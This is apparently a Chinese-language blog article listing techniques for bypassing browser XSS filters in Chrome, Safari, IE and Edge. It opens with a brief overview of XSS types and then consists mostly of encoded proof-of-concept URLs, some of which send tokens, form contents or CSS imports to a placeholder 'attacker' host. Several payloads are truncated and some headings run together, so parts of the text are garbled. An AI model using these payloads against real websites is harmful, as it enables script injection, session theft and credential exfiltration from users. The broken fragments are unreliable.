htmlid属性,XSS命令(示例代码)
XSS,即跨站脚本攻击,是Web程序中常见的漏洞,其原理是恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会自动执行,从而达到恶意攻击用户的目的。为了防止这些恶意攻击的发生,现在用户所使用的浏览器内核中一般都有XSS Filter(除Firefox外)。
众所周知,XSS共有三种类型,分别是:反射型、存储型和DOM Based XSS。接下来就为大家简单介绍一下这三种类型的XSS。
第一类:反射型XSS,当我们在访问一个网页的时候,在URL后面加上一定的参数,浏览器变会返回不同的执行结果。但如果我们在IE/Chrome/Safari中尝试这种操作,浏览器可能会显示以下消息:“为帮助阻止跨站点脚本,已修改此页面。”,窗口也无法弹出。这就体现出了浏览器内核中Filter的功能。
第二类:存储型XSS,它常见于支持用户互动的Web应用,如微博、留言板等。用户提交到应用程序里的数据会永久性的保存在后端数据库中,如果没有经过HTML编码,当用户浏览了包含恶意代码的页面之后(这个页面通常是用户会主动访问的页面),便会受到相应攻击,这也使得存储型XSS比反射型XSS更不易被识别。
第三类:DOM Based XSS,首先,用户请求一个包含JavaScript的特殊URL,会由攻击者提交。然后服务器响应里不会包含攻击者的脚本,当用户的浏览器处理该响应时,这段攻击代码被前端JS里的DOM处理操作引发。它与反射型XSS类似,都需要由攻击者设计一个包含恶意代码的URL并诱导用户访问,再经浏览器响应恶意代码执行后的操作。
XSS Auditor,是一个被加入在了浏览器内核中的安全功能。本篇将为大家讲述如何绕过浏览器中的 XSS Auditor 进行脚本攻击,希望能给大家一些帮助,主要是在Chrome/ Safari/IE11/ Edge浏览器中进行操作的。
发生在一个字符串中的XSShttps://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
URL单独成立的XSS(如输入值直接进入a标签的href部分)
Link
页面有2个以上的注入点https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/sc
ript%3E%3Cscript%3E%60
`-alert(1) `-alert(1)字符串的相关操作
当字符串的一部分被替换或删除时,它不能被切断并放置在字符串之间。
被删除时的payload:https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscrip
t%3Enload=alert(1)%3E
nload=alert(1)>
↓
被置换时的payload:https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/s
cript%3E
↓
基于DOM 的XSS和其他document.write()的请求字符串
nerror=alert(1)%3E
在XML页的XSShttps://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http:
应当指出,写在页面 Content-Type 顶部的字符串如果未被正确的指定,根据Content
Sniffing XML也可以 bypass。
https://vulnerabledoma.in/bypass/text?mime=unknown&q=%3C?xml%20ve rsion=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xh tml%22%3Ealert(1)%3C/script%3E
这里没有脚本,但是有已被允许的说明,它们可能用于一定程度上的攻击。
http(s)∶创建一个链接https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attac
ker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E
Session expired. Please login again.
窃取token
例如,你可以通过使用引号(不关闭一侧)等,则有
可能包含机密信息的请求,如图像的情
况。https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22ht
tps://attacker/?data=
AAA
任意 CSS 引用
这样不仅掩盖了页面的外观,而且如果在同一页面上包含的机密信息,只使用CSS便可能获
得此信息。详细参照URL。
参考URL:http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppthttp://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.htmlhttps://vulnerabledoma.in/bypass/text?q=%3Cstyle%[email protected]%20%27//attacker/test.css%27%3C/style%3E
和的BYPASS (仅Chrome)
攻击可能条件:
1.任何一个可以XSS的标签
2.在目标环境下Flash能利用
参考URL:http://masatokinugawa.l0.cm/2016/12/xss12.html
PoC:https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptac
cess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3
E
SVG动画的属性的利用
攻击的可能条件:
1.任何一个可以XSS的标签
参考URL:https://bugs.chromium.org/p/chromium/issues/detail?id=709365
PoC(Chrome):
f=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:ale
rt(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E
%3C/a%3E
PoC(Safari):https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xli
nk%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3
000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3
E%3C/a%3E
base标签与Flash的利用(仅Safari)
攻击的可能条件:
1.任何一个可以XSS的标签
2.后面跟有whitespace符号或是单双引号的情况
3.在目标范围当中能够利用此flash
参考URL:http://masatokinugawa.l0.cm/2016/05/xss8.html
PoC:
(后面没有whitespace符号的情况)https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowsc
riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/
(后面有whitespace的情况)https://vulnerabledoma.in/bypass/text?type=4&q=%3Cembed%20allowsc
riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/
加载相对 url 脚本
攻击的可能条件:
1.任何一个可以XSS的标签
2.后面跟有whitespace符号或是单双引号的情况
3.后面有附在相对URL的脚本的部分
PoC:https://vulnerabledoma.in/bypass/text?type=9&q=%3Cbase%20href=//c
ors.l0.cm/
ISO-2022-JP的转义序列的利用
攻击的可能条件:
1.任何一个可以XSS的标签
2.此页没有指定的字符编码
参考URL:https://bugs.chromium.org/p/chromium/issues/detail?id=114941https://l0.cm/encodings/test3/
PoC:
nload=alert(1)%3E
(因为※$记号不会像预期的那样自由移动,将通过包含$重定向的方法进行编码)https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%[email protected]%0A%3C/script%3E
链接与base标签的使用
攻击的可能条件:
1.任何一个可以XSS的标签
1.后面跟有whitespace符号的情况
2.后面跟有单双引号的情况
参考URL:
PoC:https://vulnerabledoma.in/bypass/text?type=4&q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:
XSS同一域名资源的利用
攻击的可能条件:
1.任何一个可以XSS的标签
2.此页面显示不需要进行查询
PoC:https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E%22%3E
PATH_INFO:/
文件上传功能
攻击的可能条件:
1.任何一个可以XSS的标签
2使用同一主机上用户上传的文件作为攻击向量,如,用户头像等。
PoC:https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E
(仅Chrome)https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E
Flash和flashvars的利用
攻击的可能条件:
1.任何一个可以XSS的标签
2.相同起源的ExnternalInterface.call()中的参数字符串还未传递到Flash中
3.Flash可在目标环境下利用
补充:
你可以将参数传递给 flashvars 属性,即使Flash 中没有它们的查询参数。(=在Flash方面,它可以在FlashVars传递,即使从URL传递作为XSS的措施,因为要直接打开的参数Flash是有限的。)另外,Content-Security-Policy: default-src ‘self‘例如,当存在CSP等,它也可以用于绕过CSP。
PoC:https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
ActionScript:
ExternalInterface.call("setTimeout", ExternalInterface.objectID + ‘_event‘ + "(‘" + eventName + "‘," + eventValues + ")", 0);
Flash中的ExternalInterface.objectID和ExternalInterface.call()的利用
攻击可能的条件:
1.任何一个可以XSS的标签
2.有相同的起源ExternalInterface.objectID中的一个Flash传递到ExternalInterfae.call
中
3.可在目标环境下利用
补充:
ExternalInterface.objectID是用于嵌入标签的name属性的属性值是由自己设定的,但此时并不能单独使用xss,旁路是唯一的绕过方式。顺便提及,Content-Security-Policy: default-src ‘self‘例如,当存在这样的CSP的限制,它也可以用于绕过CSP。
PoC:https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=%27alert(1)-%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
ActionScript:
ExternalInterface.call(ExternalInterface.objectID + ‘_init‘);
Angular的利用
攻击的可能条件:
1.任何一个可以XSS的标签
2.与目标站同源、AngularJS文件存放的主机、CDN下的CORS页面加载AngularJS
补充:
Angular在有ng-app这个属性的标签内想要展开{{}}被包围的模板,此模板能运行该脚本。参考URL:
PoC:https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
{{constructor.constructor(‘alert(1)‘)()}}
在与目标站同源的情况下,有从与CORS相对应的CDN装载Angular的页面,从HTML Imports间接地连接外部origin的资源。
(仅Chrome)https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
{{constructor.constructor(‘alert(1)‘)()}}
Vue.js的利用
攻击的可能条件:
1.任何一个可以XSS的标签2.
2.与目标站同源、VueJS文件存放的主机、CDN下的CORS页面加载AngularJS3.
3.与目标站同源的可运行的模板的扩展脚本存在于网页或指定的标签
PoC:
{{constructor.constructor(‘alert(1)‘)()}}jQuery的利用
攻击的可能条件:
1.任何一个可以XSS的标签
2.与目标站同源、jQuery文件存放的主机、CDN下的CORS页面加载AngularJS
3.与目标站同源的页面上存在着from标签能实行jQuery的系统函数的脚本 补充:
jQuery的附加系统功能:after,before,prepend,append,html,replaceWith,wrap,wrapAll,insertBefore,insertAfter,prependTo,appendTo等。由于使用有ownerDocument这个name属性的形式,Node.在ownerDocument的参照处,不使之实行本来脚本的场面实行的(这样的手法被称为DOM Clobbering而为人所知)。并且,实行前,脚本块
参考URL:https://sirdarckcat.github.io/csp/jquery.html
PoC:https://vulnerabledoma.in/bypass/text?type=5&q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E
(仅Chrome)https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/jquery.html%3E%3Cp%20class=container%3E%3C/p%3E%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E
Underscore.js的利用
攻击的可能条件:
1.任何一个可以XSS的标签
2.与目标站同源、Underscore.js文件存放的主机、CDN下的CORS页面加载AngularJS 3.在同一起源下,可运行的模板的扩展脚本出现在页面上或以指定的脚本标记上
PoC:
JSX转换脚本,如JSXTransformer/babel-standalone的应用
攻击的可能条件:
1.任何一个可以XSS的标签
2.与目标站同源、Underscore.js文件中存放的JSX变换脚本、CDN下的CORS页面加载AngularJS 补充:
HTML和JS都有注释符,这个trick是利用注释符在的 会被解析为 JS 注释符, 会被解析为HTML注释符号。
PoC:
From表单标签的使用
攻击的可能条件:
1.任何一个可以XSS的标签
2.把一个新的from标签的位置,成为现有表单内容的目的地,其中包括机密信息
参考URL:https://bugs.chromium.org/p/chromium/issues/detail?id=719092
PoC:
CLICKIE/Edge的XSS过滤器
不封闭的目标站
XSS字符串测试https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation='javascriptx3Aalertx281x29'//
所有基于DOM的XSS
此页面有2个以上的注入点的XSShttps://vulnerabledoma.in/bypass/text?type=2&q=%22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22
"src=data:,alert%281%29>由于其他字符编码被发送到编码字符串中,并且引起了实际的差异。https://l0.cm/bypass/ie_hz_text.htmlhttps://l0.cm/bypass/ie_hz_attribute.htmlhttps://l0.cm/bypass/ie_iso2022jp_text.htmlhttps://l0.cm/bypass/ie_iso2022jp_attribute.html
Adobe Acrobat Reader插入的利用(仅IE)
攻击的可能条件:
1.有通过POST请求的XSS 2.在目标环境下使用Adobe Acrobat Reader软件
参考URL:http://insert-script.blogspot.com/2017/01/complete-internet-explorer-xss-filter.html
PoC:https://l0.cm/bypass/ie_postxss_bypass.pdf
XML中的Content Sniffing的利用(仅IE)
攻击可能的条件:
1.任何一个可以XSS的标签
2.X-Content-Type-Options∶没附有nosniff
3.可以从页面顶部描述字符串
参考URL:https://twitter.com/0x6D6172696F/status/753647521050849280
PoC:https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23x29%3B%3C/x:script%3E
UTF-7 BOM的使用(仅IE)
攻击的可能条件:
1.可以从页面顶部描述字符串
2.+,/,- 记号能被允许编写
PoC:
+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-
(页面有指定字符编码的情况)https://l0.cm/bypass/ie_utf7.html
go
使用(仅IE)
攻击的可能条件:
1.有反射型的XSS
2.不出现三个以上的注入点
3.该页面的文档模式是否被设置为IE9或更小,因为框架填充只能设置在IE9及以下。
参考URL:http://masatokinugawa.l0.cm/2017/05/xss13.html
PoC:https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
引用的应用
IE/Edge的XSS过滤器,在同样的域名(包括子域名)或localhost的Referer标头附有的情况下,不驱动XSS过滤器。当你能找到来源的的时候,就可以绕过了。
在同一个域中使用链接功能(包括子域)
攻击可能的条件:
1.有反射型的XSS
2.在同一个域(包括子域)创建XSS的链接页面
PoC:https://vulnerabledoma.in/bypass/same-domain-link.htmlhttps://www.vulnerabledoma.in/bypass/same-domain-link.html
Click HERE
在能制定任意的URL的地方的绕过
攻击可能的条件:
1.链接反射型的XSS可能的地方
补充:
再易受攻击的地方两重链接起来引用、javascript:您可以创建一个链接到一个URL没有XSS过滤器反应。
PoC:https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)
Link
能在页面上保持易受攻击的表单发送前的状态
攻击可能的条件:
1. 有反射型的XSS
2. 能在一样的域名(包括子域名)页面上保持易受攻击的表单发送前的状态
PoC:https://vulnerabledoma.in/bypass/form?q=%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3E
">option 标签的使用
攻击可能的条件:
1.任何一个可以XSS的标签
2.在原有的形式内有那个XSS
参考URL:https://html5sec.org/xssfilter/entities
PoC:https://vulnerabledoma.in/bypass/form3?q=%3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E%26lt%3Bscript%3Ealert(1)%26lt%3B/script%3E
CLICK空白iframe的使用
攻击可能的条件:
1.任何一个可以XSS的标签
2.允许页面嵌入框架
补充:
XSS创建一个空的iframe,在那个框架上写脚本的URL导航,通过自己易受攻击的域名来绕道。
参考URL:http://www.cracking.com.ar/bugs/2016-07-14/
PoC:https://l0.cm/bypass/ieedge_iframe.html
伪装错误的使用(仅Edge)
攻击可能的条件:
1.有反射型的XSS
参考URL:https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
PoC:https://l0.cm/bypass/edge_referer_spoofing.html
formaction的使用(信息的取得)
攻击可能的条件:
1.有反射型的XSS
2.能在含秘密信息的原有形式内容发送前的位置,建立一个新的formaction属性
PoC:https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E
">style字符串的利用
攻击可能的条件:
1.有反射型的XSS
2.存在可通过CSS攻击的情况
参考URL:https://twitter.com/0x6D6172696F/status/752190911879184384http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppthttps://blog.innerht.ml/cascading-style-scripting/
PoC:https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E%26commat%3Bimport'//attacker'%3C/style%3E
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%[email protected]%26bsol%3B0069mport%27//attacker%27%3C/style%3E
标签:
相关文章
-
无相关信息